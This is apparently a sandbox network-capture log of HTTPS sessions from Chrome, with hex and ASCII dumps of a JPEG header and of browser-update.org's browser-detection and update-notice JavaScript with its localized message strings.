2024-10-07 12:10:17 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: fe d8 cb 8c 43 20 75 db 71 ba 53 8c 78 16 4b 52 78 f0 3a 25 e4 3c e9 8e 49 bf c2 91 90 02 74 d4 4c e5 5b 4f 3f 0b 02 47 fb 8f 8c 72 3a a1 45 a2 34 c5 00 e3 03 1a ce a8 3f 1a 1a d4 07 74 f8 50 1b 22 89 24 0e 84 e9 33 40 6c 28 04 f5 03 59 72 ee 45 4d 41 3d 2f 54 0e 2a 83 5e 80 d5 cc 52 04 2f 1c 7a 03 af ca 8d 31 3b 1a 55 27 e9 01 b2 2a ea c4 08 be 63 4b b1 26 68 d4 b5 05 62 c5 0b 62 e5 34 9f 90 58 6e a6 b6 65 cb 8e 17 70 99 cd 88 0d de 6e 7e 1a d2 85 b9 d2 94 ed f8 ae f6 9d 73 34 a3 db 69 f2 2e b9 f8 0a f4 3c 6f 19 e8 ae 42 10 13 7d cc 83 c8 ce ac c0 a0 2c 40 a9 88 ec 2e e5 dc 5e a5 be cc 4b e9 f7 0f 1f b3 5a d9 c0 fe df c2 ed a9 99 dc b2 9a 1e 07 a1 84 86 81 e3 75 26 9e c3 fe df cb c9 78 97 2f 27 80 fe 08 9a 9f f7 c8 a7 ec ad cc 6e cb db b1 9c 24 10 89 65 Data Ascii: C uqSxKRx:%<ItL[O?Gr:E4?tP"$3@l(YrEMA=/T^R/z1;U'cK&hbb4Xnepn~s4i.<oB},@.^KZu&x/'n$e
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 7f f8 83 6a 92 e6 60 00 be f2 37 c4 0f bd a4 d5 83 19 26 b1 fb 9b dd 11 7e 35 4c 86 b0 b4 07 c4 03 41 69 73 00 01 5a 0d fc eb 81 4b e3 ca cf 6b 98 43 d7 2e 34 3b d4 98 73 f1 dd fe 8b df 2a 6a 1a d2 9f 35 4a 1e 5c dc f8 8e 01 85 2e 5c e5 3f 26 7e da a4 2d 8a 36 f1 0d 56 05 e2 01 4d ca 1a b8 c3 9f 29 e0 63 b7 99 02 e1 40 b5 6d aa 92 4f b4 0e a6 0f 16 61 4b ee 27 a0 de 17 b7 e1 cb 94 48 8c b9 c4 05 40 43 1a 9f 0b fd b5 47 81 1b b8 b1 81 ae d0 90 14 af 9d cd 7b 94 b8 ae 2c 0e 2c 7b 55 a4 34 f4 b1 b8 a9 c6 c9 11 49 cd c1 7a 7e ea 02 5e d9 c5 30 af 68 ff 00 78 60 20 0a 86 d4 df b8 9f e5 06 e3 23 4f 17 82 0e a8 6d 41 56 b4 12 e2 ae 69 40 de a0 dc 1a 6f 26 71 39 0f 21 18 d5 b9 f1 a4 23 71 96 63 c5 bc 8b c8 01 a3 c2 c0 01 4c c7 c9 94 16 14 7a 88 bc bc 54 d2 9b 1d Data Ascii: j`7&~5LAisZKkC.4;s*j5J\.\?&~-6VM)c@mOaK'H@CG{,,{U4Iz~^0hx` #OmAVi@o&q9!#qcLzT
2024-10-07 12:10:17 UTC	8000	IN	Data Raw: 16 ba fc a9 39 72 9c ae 02 a8 55 8f 4c 25 12 dd 89 3d a4 2b 58 2f ad 0d f2 17 5a aa 02 eb 73 b0 a2 00 51 34 f0 ac 0a 07 ac d9 56 82 a6 eb e7 44 6b 6d a9 f2 a8 04 02 89 7e 95 76 87 95 e2 db 7d f5 c6 68 97 69 70 21 df e2 d4 66 b8 a6 b4 26 b2 54 fa 4e a8 2d f8 55 8b 5c df a9 a9 d6 84 80 7b 43 10 96 df 4d c5 11 09 fd 82 82 d9 10 a1 2b f6 d1 41 ba f5 da 80 82 21 08 56 d9 c3 a8 de b4 71 11 ac 72 14 f4 9e 2e f3 1d 2b 35 b6 4d bc 7a f9 53 98 e4 27 0e ba d2 72 8b 58 dc 7b c2 e1 37 1b 3a 51 14 c0 38 34 73 43 d4 68 7e 75 b1 0e 33 20 6f 16 b8 15 dc d6 0e 06 3c f8 b9 ee 71 0b 14 8d 2d 0f d8 1b 38 69 5b 1c 88 de a5 f2 14 f2 a5 7f 69 00 d7 49 47 8c 1b 81 e4 28 de bf 68 cf 26 b7 53 48 66 66 b4 7a 5a 47 87 8d 0b 23 2c 37 d0 cb b8 8b d6 79 71 24 9d 96 e7 70 6b b1 78 fa f2 Data Ascii: 9rUL%=+X/ZsQ4VDkm~v}hip!f&TN-U\{CM+A!Vqr.+5MzS'rX{7:Q84sCh~u3 o<q-8i[iIG(h&SHffzZG#,7yq$pkx
2024-10-07 12:10:17 UTC	7660	IN	Data Raw: e2 50 86 fb 46 f8 ea dc ec 6c 37 9a 5c 94 a6 ab 6f 1a 65 a4 58 74 a0 46 db 7f 30 b5 f6 34 f4 30 87 07 3e 44 64 6d 42 e7 92 80 57 9a e4 09 e9 a0 27 68 36 11 60 d5 23 a7 95 49 29 b0 be fb de ae ec fe df 17 a6 36 ba 55 b1 76 9f 7d eb c6 7c 6c 85 74 5a 36 dc 48 d3 e1 41 ee dc a9 03 b9 85 ec d8 3a 93 d8 48 6f 86 a6 e3 6a b7 14 26 c5 7a fe ca 18 1a db cf 64 ab 7d 56 27 6f 2a e3 38 4b 97 05 44 f0 3f 0f 1a f0 05 c1 05 d7 41 fb eb cc e4 4a 0b 93 67 5b 6a 7b 1b 11 a5 bc dd 66 85 2a ea 5b b8 51 66 10 17 03 0c 61 bf d4 90 86 b4 7a 89 3d 29 1f ee 1c d7 8c 4c 77 61 a0 6b 5e 41 91 2f 71 d2 83 9b 9e fc a9 84 71 9e 38 ed b0 1d 7f 99 c9 46 89 b8 d9 70 7e 9a 73 c5 be 69 7f 0a 6a 63 e0 c9 97 20 ba 37 c7 b0 fe 70 80 f9 11 f1 29 a2 c2 81 db 51 1c fe df 73 df da e3 7c 8f 32 39 Data Ascii: PFl7\oeXtF040>DdmBW'h6`#I)6Uv}\|ltZ6HA:Hoj&zd}V'o8KD?AJg[j{f[Qfaz=)Lwak^A/qq8Fp~sijc 7p)Qs\|29

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49791	104.21.7.183	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:17 UTC	532	OUT	GET /update.min.js HTTP/1.1 Host: browserupdate.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:17 UTC	755	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:17 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 9354 Connection: close Cache-Control: max-age=86400 Content-Disposition: inline; filename=update.min.js Expires: Tue, 08 Oct 2024 10:33:46 GMT Last-Modified: Sun, 29 Sep 2024 17:05:39 GMT CF-Cache-Status: HIT Age: 5790 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m6sq98OW8ey%2Blrf%2FjytpnfgKP4Li5tmlkHADu%2F8IaEu9MQXTurPS4KKsbgoTYTTHp2FRVCm2eTX2kbTGT4knjMiZImjm6mxg98q4QpUwgyJgmdxFlwBPFiA04rcTEophoNUw6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cedc9832d1f8c48-EWR
2024-10-07 12:10:17 UTC	614	IN	Data Raw: 2f 2f 28 63 29 32 30 32 31 2c 20 4d 49 54 20 53 74 79 6c 65 20 4c 69 63 65 6e 73 65 20 3c 62 72 6f 77 73 65 72 2d 75 70 64 61 74 65 2e 6f 72 67 2f 4c 49 43 45 4e 53 45 2e 74 78 74 3e 0d 0a 2f 2f 69 74 20 69 73 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 74 6f 20 64 69 72 65 63 74 6c 79 20 6c 69 6e 6b 20 74 6f 20 74 68 69 73 20 66 69 6c 65 20 62 65 63 61 75 73 65 20 77 65 20 75 70 64 61 74 65 20 74 68 65 20 64 65 74 65 63 74 69 6f 6e 20 63 6f 64 65 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 24 62 75 5f 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 3d 74 68 69 73 3b 74 68 69 73 2e 76 65 72 73 69 6f 6e 3d 22 33 2e 33 2e 35 34 22 3b 74 68 69 73 2e 76 73 61 6b 74 3d 7b 63 3a 22 31 32 38 22 2c 66 3a 22 31 33 30 22 2c 73 3a 22 31 37 2e Data Ascii: //(c)2021, MIT Style License <browser-update.org/LICENSE.txt>//it is recommended to directly link to this file because we update the detection code"use strict";var $bu_=new function(){var s=this;this.version="3.3.54";this.vsakt={c:"128",f:"130",s:"17.
2024-10-07 12:10:17 UTC	1369	IN	Data Raw: 27 53 61 66 61 72 69 27 2c 65 3a 22 45 64 67 65 22 2c 69 3a 27 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 27 2c 69 6f 73 3a 22 69 4f 53 22 2c 73 61 6d 73 75 6e 67 3a 22 53 61 6d 73 75 6e 67 20 49 6e 74 65 72 6e 65 74 22 2c 6f 3a 27 4f 70 65 72 61 27 2c 6f 5f 61 3a 27 4f 70 65 72 61 27 2c 65 5f 61 3a 22 45 64 67 65 22 2c 79 3a 22 59 61 6e 64 65 78 20 42 72 6f 77 73 65 72 22 2c 76 3a 22 56 69 76 61 6c 64 69 22 2c 75 63 3a 22 55 43 20 42 72 6f 77 73 65 72 22 2c 61 3a 22 41 6e 64 72 6f 69 64 20 42 72 6f 77 73 65 72 22 2c 78 3a 22 4f 74 68 65 72 22 2c 73 69 6c 6b 3a 22 53 69 6c 6b 22 7d 3b 74 68 69 73 2e 67 65 74 5f 62 72 6f 77 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 75 61 29 7b 76 61 72 20 6e 2c 75 61 3d 28 75 61 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 75 Data Ascii: 'Safari',e:"Edge",i:'Internet Explorer',ios:"iOS",samsung:"Samsung Internet",o:'Opera',o_a:'Opera',e_a:"Edge",y:"Yandex Browser",v:"Vivaldi",uc:"UC Browser",a:"Android Browser",x:"Other",silk:"Silk"};this.get_browser=function(ua){var n,ua=(ua\|\|navigator.u
2024-10-07 12:10:17 UTC	1369	IN	Data Raw: 7c 74 69 7a 65 6e 7c 73 69 6c 6b 7c 62 6c 61 63 6b 62 65 72 72 79 7c 62 62 31 30 7c 52 49 4d 7c 50 6c 61 79 42 6f 6f 6b 7c 6d 65 65 67 6f 7c 6e 6f 6b 69 61 7c 75 63 77 65 62 7c 5a 75 6e 65 57 50 37 7c 35 33 37 2e 38 35 2e 31 30 22 29 3b 72 2e 65 6d 62 65 64 64 65 64 3d 2f 22 51 74 57 65 62 45 6e 67 69 6e 65 7c 54 65 61 6d 73 7c 45 6c 65 63 74 72 6f 6e 2f 69 2e 74 65 73 74 28 75 61 29 3b 72 2e 6d 6f 62 69 6c 65 3d 28 2f 69 70 68 6f 6e 65 7c 69 70 6f 64 7c 69 70 61 64 7c 61 6e 64 72 6f 69 64 7c 6d 6f 62 69 6c 65 7c 70 68 6f 6e 65 7c 69 6f 73 7c 69 65 6d 6f 62 69 6c 65 2f 69 2e 74 65 73 74 28 75 61 29 29 3b 72 2e 64 69 73 63 6f 6e 74 69 6e 75 65 64 3d 28 2f 6e 65 74 73 63 61 70 65 7c 67 72 65 65 6e 62 72 6f 77 73 65 72 7c 63 61 6d 69 6e 6f 7c 66 6c 6f 74 7c Data Ascii: \|tizen\|silk\|blackberry\|bb10\|RIM\|PlayBook\|meego\|nokia\|ucweb\|ZuneWP7\|537.85.10");r.embedded=/"QtWebEngine\|Teams\|Electron/i.test(ua);r.mobile=(/iphone\|ipod\|ipad\|android\|mobile\|phone\|ios\|iemobile/i.test(ua));r.discontinued=(/netscape\|greenbrowser\|camino\|flot\|
2024-10-07 12:10:17 UTC	1369	IN	Data Raw: 75 61 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 4f 53 2e 22 2b 56 56 2c 22 69 22 29 29 3b 72 2e 6e 3d 22 69 6f 73 22 3b 72 2e 66 75 6c 6c 76 3d 52 65 67 45 78 70 2e 24 31 3b 72 2e 76 3d 70 61 72 73 65 46 6c 6f 61 74 28 72 2e 66 75 6c 6c 76 29 3b 72 2e 65 6e 67 69 6e 65 3d 27 69 6f 73 27 3b 76 61 72 20 61 76 3d 73 2e 61 76 61 69 6c 61 62 6c 65 5f 69 6f 73 28 75 61 2c 72 2e 76 29 3b 69 66 28 61 76 3c 31 32 26 26 4d 61 74 68 2e 72 6f 75 6e 64 28 72 2e 76 29 3d 3d 3d 31 31 29 61 76 3d 31 32 3b 72 2e 61 76 61 69 6c 61 62 6c 65 3d 7b 22 69 6f 73 22 3a 61 76 7d 3b 69 66 28 70 61 72 73 65 46 6c 6f 61 74 28 72 2e 61 76 61 69 6c 61 62 6c 65 2e 69 6f 73 29 3c 31 35 29 72 2e 6e 6f 5f 64 65 76 69 63 65 5f 75 70 64 61 74 65 3d 74 72 75 65 3b 7d 69 66 28 Data Ascii: ua.match(new RegExp("OS."+VV,"i"));r.n="ios";r.fullv=RegExp.$1;r.v=parseFloat(r.fullv);r.engine='ios';var av=s.available_ios(ua,r.v);if(av<12&&Math.round(r.v)===11)av=12;r.available={"ios":av};if(parseFloat(r.available.ios)<15)r.no_device_update=true;}if(
2024-10-07 12:10:17 UTC	1369	IN	Data Raw: 3b 7d 69 66 28 72 2e 6e 20 69 6e 20 5b 22 63 22 2c 22 66 22 2c 22 6f 22 2c 22 65 22 5d 26 26 73 2e 6c 65 73 73 28 72 2e 66 75 6c 6c 76 2c 70 61 72 73 65 46 6c 6f 61 74 28 73 2e 76 73 61 6b 74 5b 72 2e 6e 5d 29 2d 31 29 3c 3d 30 29 72 2e 69 73 5f 73 75 70 70 6f 72 74 65 64 3d 74 72 75 65 3b 76 61 72 20 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 3d 7b 27 66 27 3a 37 2c 27 63 27 3a 38 2c 27 6f 27 3a 38 2c 27 69 27 3a 31 2c 27 65 27 3a 31 2c 27 73 27 3a 31 7d 3b 69 66 28 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 5b 72 2e 6e 5d 29 72 2e 61 67 65 5f 79 65 61 72 73 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 28 28 73 2e 76 73 61 6b 74 5b 72 2e 6e 5d 2d 72 2e 76 29 2f 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 5b 72 2e 6e 5d 29 2a 31 30 29 2f 31 Data Ascii: ;}if(r.n in ["c","f","o","e"]&&s.less(r.fullv,parseFloat(s.vsakt[r.n])-1)<=0)r.is_supported=true;var releases_per_year={'f':7,'c':8,'o':8,'i':1,'e':1,'s':1};if(releases_per_year[r.n])r.age_years=Math.round(((s.vsakt[r.n]-r.v)/releases_per_year[r.n])*10)/1
2024-10-07 12:10:17 UTC	1369	IN	Data Raw: 7c 7c 28 6e 2e 6c 61 6e 67 75 61 67 65 73 3f 6e 2e 6c 61 6e 67 75 61 67 65 73 5b 30 5d 3a 6e 75 6c 6c 29 7c 7c 6e 2e 6c 61 6e 67 75 61 67 65 7c 7c 6e 2e 62 72 6f 77 73 65 72 4c 61 6e 67 75 61 67 65 7c 7c 6e 2e 75 73 65 72 4c 61 6e 67 75 61 67 65 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 61 6e 67 22 29 7c 7c 22 65 6e 22 3b 6f 70 2e 6c 6c 66 75 6c 6c 3d 6c 6c 2e 72 65 70 6c 61 63 65 28 22 5f 22 2c 22 2d 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 75 62 73 74 72 28 30 2c 35 29 3b 6f 70 2e 6c 6c 3d 6f 70 2e 6c 6c 66 75 6c 6c 2e 73 75 62 73 74 72 28 30 2c 32 29 3b 6f 70 2e 64 6f 6d 61 69 6e 3d 6f 70 2e 64 6f 6d 61 69 6e 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 6f 70 2e Data Ascii: \|\|(n.languages?n.languages[0]:null)\|\|n.language\|\|n.browserLanguage\|\|n.userLanguage\|\|document.documentElement.getAttribute("lang")\|\|"en";op.llfull=ll.replace("_","-").toLowerCase().substr(0,5);op.ll=op.llfull.substr(0,2);op.domain=op.domain!==undefined?op.
2024-10-07 12:10:17 UTC	1369	IN	Data Raw: 3d 6f 70 2e 6f 6e 73 68 6f 77 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 6f 6e 63 6c 69 63 6b 3d 6f 70 2e 6f 6e 63 6c 69 63 6b 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 6f 6e 63 6c 6f 73 65 3d 6f 70 2e 6f 6e 63 6c 6f 73 65 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 7d 3b 6f 70 2e 70 61 67 65 75 72 6c 3d 6f 70 2e 70 61 67 65 75 72 6c 7c 7c 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 7c 7c 22 78 22 3b 6f 70 2e 6e 65 77 77 69 6e 64 6f 77 3d 28 6f 70 2e 6e 65 77 77 69 6e 64 6f 77 21 3d 3d 66 61 6c 73 65 29 3b 6f 70 2e 74 65 73 74 3d 74 65 73 74 7c 7c 6f 70 2e 74 65 73 74 7c 7c 28 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 3d 3d 3d 22 23 74 65 73 74 2d 62 75 22 29 7c 7c 66 61 6c 73 65 3b 6f 70 2e 69 67 6e 6f 72 65 63 6f 6f 6b 69 Data Ascii: =op.onshow\|\|function(o){};op.onclick=op.onclick\|\|function(o){};op.onclose=op.onclose\|\|function(o){};op.pageurl=op.pageurl\|\|location.hostname\|\|"x";op.newwindow=(op.newwindow!==false);op.test=test\|\|op.test\|\|(location.hash==="#test-bu")\|\|false;op.ignorecooki
2024-10-07 12:10:17 UTC	526	IN	Data Raw: 6f 70 2e 61 6c 72 65 61 64 79 5f 73 68 6f 77 6e 29 29 72 65 74 75 72 6e 3b 6f 70 2e 73 65 74 43 6f 6f 6b 69 65 3d 66 75 6e 63 74 69 6f 6e 28 68 6f 75 72 73 29 7b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 27 62 72 6f 77 73 65 72 75 70 64 61 74 65 6f 72 67 3d 70 61 75 73 65 3b 20 65 78 70 69 72 65 73 3d 27 2b 6e 65 77 20 44 61 74 65 28 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2b 33 36 30 30 30 30 30 2a 68 6f 75 72 73 29 2e 74 6f 47 4d 54 53 74 72 69 6e 67 28 29 2b 27 3b 20 70 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 27 2b 28 2f 68 74 74 70 73 3a 2f 2e 74 65 73 74 28 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3f 27 3b 20 53 65 63 75 72 65 27 3a 27 27 29 3b 7d 3b 69 66 28 6f 70 2e 61 6c 72 65 61 64 79 5f 73 68 6f 77 6e Data Ascii: op.already_shown))return;op.setCookie=function(hours){document.cookie='browserupdateorg=pause; expires='+new Date(new Date().getTime()+3600000*hours).toGMTString()+'; path=/; SameSite=Lax'+(/https:/.test(location.href)?'; Secure':'');};if(op.already_shown

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49795	172.67.69.206	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:19 UTC	538	OUT	GET /update.show.min.js HTTP/1.1 Host: browser-update.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:19 UTC	767	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:19 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 21886 Connection: close Cache-Control: max-age=86400 content-disposition: inline; filename=update.show.min.js expires: Sun, 06 Oct 2024 10:56:46 GMT last-modified: Sun, 29 Sep 2024 17:05:40 GMT CF-Cache-Status: HIT Age: 177213 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sb6mRfVoB%2FzWmOyr1G1TT0ZOC%2BqNLPlVOLG4vS%2F9LWdGvWTDXfOmI4AotXOiyDtgDnHsV1uUN0bvAdIM6iv5d4M1Kb7D0N5sOPKocPRlSiLlT%2FsSAad9qxZ6EOzg7%2Fs4RQor6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cedc9916c7e8c35-EWR
2024-10-07 12:10:19 UTC	602	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 24 62 75 6f 5f 73 68 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 70 3d 77 69 6e 64 6f 77 2e 5f 62 75 6f 72 67 72 65 73 3b 76 61 72 20 62 62 3d 24 62 75 5f 67 65 74 42 72 6f 77 73 65 72 28 29 3b 76 61 72 20 62 75 72 6c 3d 6f 70 2e 62 75 72 6c 7c 7c 28 22 68 74 74 70 22 2b 28 2f 4d 53 49 45 2f 69 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 3f 22 22 3a 22 73 22 29 2b 22 3a 2f 2f 62 72 6f 77 73 65 72 2d 75 70 64 61 74 65 2e 6f 72 67 2f 22 29 3b 69 66 28 21 6f 70 2e 75 72 6c 29 6f 70 2e 75 72 6c 3d 62 75 72 6c 2b 28 28 6f 70 2e 6c 26 26 28 6f 70 2e 6c 2b 22 2f 22 29 29 7c 7c 22 22 29 2b 22 75 70 64 61 74 65 2d 62 72 6f 77 73 65 72 2e 68 74 6d 6c 22 2b 28 6f 70 2e Data Ascii: "use strict";var $buo_show=function(){var op=window._buorgres;var bb=$bu_getBrowser();var burl=op.burl\|\|("http"+(/MSIE/i.test(navigator.userAgent)?"":"s")+"://browser-update.org/");if(!op.url)op.url=burl+((op.l&&(op.l+"/"))\|\|"")+"update-browser.html"+(op.
2024-10-07 12:10:19 UTC	1369	IN	Data Raw: 20 6f 66 20 64 61 74 65 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 55 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 66 6f 72 20 6d 6f 72 65 20 73 65 63 75 72 69 74 79 2c 20 73 70 65 65 64 20 61 6e 64 20 74 68 65 20 62 65 73 74 20 65 78 70 65 72 69 65 6e 63 65 20 6f 6e 20 74 68 69 73 20 73 69 74 65 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 55 70 64 61 74 65 20 62 72 6f 77 73 65 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 65 27 2c 27 72 65 6d 69 6e 64 27 3a 27 59 6f 75 20 77 69 6c 6c 20 62 65 20 72 65 6d 69 6e 64 65 64 20 69 6e 20 7b 64 61 79 73 7d 20 64 61 79 73 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 65 76 65 72 20 73 68 6f 77 20 61 67 61 69 6e 27 2c 27 69 6e 73 65 63 75 72 65 27 3a 27 59 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 Data Ascii: of date.','msgmore':'Update your browser for more security, speed and the best experience on this site.','bupdate':'Update browser','bignore':'Ignore','remind':'You will be reminded in {days} days.','bnever':'Never show again','insecure':'Your web browse
2024-10-07 12:10:19 UTC	1369	IN	Data Raw: 6c 6f 63 69 74 61 74 20 69 20 75 6e 61 20 6d 69 6c 6c 6f 72 20 65 78 70 65 72 69 c3 a8 6e 63 69 61 20 65 6e 20 61 71 75 65 73 74 20 6c 6c 6f 63 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 41 63 74 75 61 6c 69 74 7a 61 20 65 6c 20 6e 61 76 65 67 61 64 6f 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 61 72 27 2c 27 72 65 6d 69 6e 64 27 3a 27 54 5c 27 68 6f 20 72 65 63 6f 72 64 61 72 65 6d 20 64 5c 27 61 71 75 c3 ad 20 61 20 7b 64 61 79 73 7d 20 64 69 65 73 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 6f 20 68 6f 20 74 6f 72 6e 69 73 20 61 20 6d 6f 73 74 72 61 72 27 7d 3b 74 2e 63 73 3d 7b 27 6d 73 67 27 3a 27 56 c3 a1 c5 a1 20 70 72 6f 68 6c c3 ad c5 be 65 c4 8d 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 6a 65 20 7a 61 73 74 61 72 61 6c c3 bd 2e 27 Data Ascii: locitat i una millor experincia en aquest lloc.','bupdate':'Actualitza el navegador','bignore':'Ignorar','remind':'T\'ho recordarem d\'aqu a {days} dies.','bnever':'No ho tornis a mostrar'};t.cs={'msg':'V prohle ({brow_name}) je zastaral.'
2024-10-07 12:10:19 UTC	1369	IN	Data Raw: 7b 64 61 79 73 7d 20 54 61 67 65 6e 20 77 69 65 64 65 72 20 65 72 69 6e 6e 65 72 74 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 69 65 20 77 69 65 64 65 72 20 61 6e 7a 65 69 67 65 6e 27 2c 27 69 6e 73 65 63 75 72 65 27 3a 27 49 68 72 20 57 65 62 62 72 6f 77 73 65 72 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 68 61 74 20 65 69 6e 65 20 65 72 6e 73 74 68 61 66 74 65 20 53 69 63 68 65 72 68 65 69 74 73 6c c3 bc 63 6b 65 21 27 7d 3b 74 2e 65 6c 3d 7b 27 6d 73 67 27 3a 27 ce a4 ce bf 20 cf 80 cf 81 cf 8c ce b3 cf 81 ce b1 ce bc ce bc ce b1 20 cf 80 ce b5 cf 81 ce b9 ce ae ce b3 ce b7 cf 83 ce ae cf 82 20 cf 83 ce b1 cf 82 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 ce b5 ce af ce bd ce b1 ce b9 20 ce b1 cf 80 ce b1 cf 81 cf 87 ce b1 ce b9 cf 89 ce bc ce ad ce Data Ascii: {days} Tagen wieder erinnert.','bnever':'Nie wieder anzeigen','insecure':'Ihr Webbrowser ({brow_name}) hat eine ernsthafte Sicherheitslcke!'};t.el={'msg':' ({brow_name})
